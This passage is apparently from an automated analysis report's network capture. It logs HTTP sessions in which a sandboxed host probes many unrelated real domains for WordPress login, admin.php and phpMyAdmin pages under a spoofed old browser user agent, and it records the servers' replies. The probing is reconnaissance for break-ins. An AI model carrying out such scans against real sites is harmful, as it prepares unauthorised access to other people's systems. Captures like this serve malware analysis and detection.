2023-12-20 02:13:32 UTC	738	IN	Data Raw: 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 Data Ascii: /admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script src="http
2023-12-20 02:13:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.4	61559	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	326	OUT	GET /admin.php HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_F8PzUyei5KArgd0b6ECH9rboB72DkrdrR0DQyam2paiqCtVu8juhuu4FXb+PgONMANH3/5/eR15A2VnQPl4lig Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.4	61556	15.197.192.55	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	387	OUT	GET /wp-login.php HTTP/1.1 Host: wethepros.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	893	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:48 GMT Connection: close ETag: "657a13c4-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_f/RhYN9X6SrsIcw6VkE5SaIAs6hk/+x20kNHP9yN5nKZK72Gnmx5bDQQ2u4dMveS+Eyvxc3C8Vr87byZB09L2w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.4	61592	205.178.187.19	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:32 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=AA78FC127795859C024BAB26D243B9D5; Path=/; HttpOnly x-envoy-upstream-service-time: 0 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:32 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.4	61560	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	183	OUT	GET /phpMyAdmin HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	1079	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038412.3351655102320425972 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:32 GMT X-Served-By: cache-dfw-kdfw8210050-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalhQnp3AnoaBL5aYYhX4usf2y2rv9nfBCisdo0l0qkYhKMdqyjlW4bTUd/vHGV/XDaA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:32 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-12-20 02:13:32 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-12-20 02:13:32 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-12-20 02:13:32 UTC	252	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.4	61563	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	325	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Wxsi0WHOpy4GPBlpWUDz9ANF5rYBMmGj/t0XjlMmf4Izm5KyYbhlLG1mYR4fKE+A3/RdjTb3WAgNzP3hFbMyhQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:32 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.4	61501	217.19.254.237	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	242	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	2427	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/wp-admin Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/wp-content/plugins Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_logged_in_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-0=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wp-settings-time-0=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpress_sec_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpressuser_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wordpresspass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ Set-Cookie: wp-postpass_e28871f1aa51006dfc2f1616ddbf2884=+; expires=Tue, 20-Dec-2022 02:13:33 GMT; Max-Age=0; path=/ X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:32 GMT Connection: close Content-Length: 8604
2023-12-20 02:13:33 UTC	8604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.4	61679	65.8.178.81	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	188	OUT	GET /wp-login.php HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	331	IN	HTTP/1.1 420 Unknown Content-Type: text/plain Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:32 GMT X-Cache: Error from cloudfront Via: 1.1 b7159d81b26d98c99ce48b8fed2f01a0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: JpKL5HfCo7fhkvJIaoZoTybph3E5qHTdyIjE1GmXs50GZt6QeOoZ7g==
2023-12-20 02:13:32 UTC	25	IN	Data Raw: 31 33 0d 0a 72 61 74 65 20 6c 69 6d 69 74 20 65 78 63 65 65 64 65 64 0d 0a Data Ascii: 13rate limit exceeded
2023-12-20 02:13:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.4	61772	172.67.181.211	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:32 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:32 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=b5b75fcer0lpggrjtuajsv8im2; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
